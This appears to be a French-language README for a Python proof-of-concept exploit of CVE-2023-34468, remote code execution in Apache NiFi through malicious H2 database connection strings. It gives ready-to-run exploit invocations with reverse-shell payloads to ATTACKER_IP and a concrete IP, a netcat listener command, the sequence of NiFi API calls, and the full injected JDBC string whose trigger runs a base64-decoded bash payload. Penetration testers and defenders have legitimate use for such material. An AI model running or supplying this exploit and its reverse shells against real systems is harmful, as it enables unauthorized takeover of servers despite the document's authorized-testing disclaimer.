
CVE-2023-34468 - PoC RCE Apache NiFi H2
Ce dépôt fournit un outil d'exploitation basé sur Python pour CVE-2023-34468, une vulnérabilité critique d'exécution de code à distance (CVSS 9.8) dans Apache NiFi versions 0.0.2 à 1.21.0. Il permet aux utilisateurs authentifiés d'exécuter du code arbitraire en manipulant les chaînes de connexion de la base de données H2 avec des triggers intégrés.
⚠️ Avertissement : À des fins éducatives et de test autorisé uniquement. L'accès non autorisé aux systèmes informatiques est illégal.
requestsnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
| Commande | Description |
|---|---|
-t, --target | URL de l'instance NiFi cible (requise) |
-c, --command | Commande à exécuter (requise) |
-lh, --lhost | Hôte de l'écouteur pour le rappel (requis) |
-lp, --lport | Port de l'écouteur pour le rappel (requis) |
-u, --username | Nom d'utilisateur NiFi (instances authentifiées) |
-p, --password | Mot de passe NiFi (instances authentifiées) |
--token | Jeton Bearer (instances authentifiées) |
--no-cleanup | Ignorer le nettoyage après exploitation |
--delay | Secondes à attendre avant le nettoyage (défaut : 10) |
--driver-path | Chemin du fichier jar du pilote H2 (omis par défaut) |
Vérification : Vérifiez votre écouteur pour la connexion reverse shell. Exécutez id pour confirmer l'exécution du code.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status avec l'état ENABLED/nifi-api/processors/{id}/run-status avec l'état RUNNING — le trigger H2 se déclenche lors de la connexionjdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Points clés :
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (déclenché automatiquement)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
Cet outil est fourni uniquement pour la recherche en sécurité et les tests autorisés. L'auteur n'est pas responsable de l'utilisation abusive ou des dommages causés par cet exploit. Testez toujours de manière responsable dans des environnements autorisés uniquement.
Licence MIT - Voir le fichier LICENSE pour plus de détails
Conçu pour la recherche en sécurité et les tests d'intrusion autorisés.
Sujets : apache-nifi h2-database rce exploit cve-2023-34468 python security-research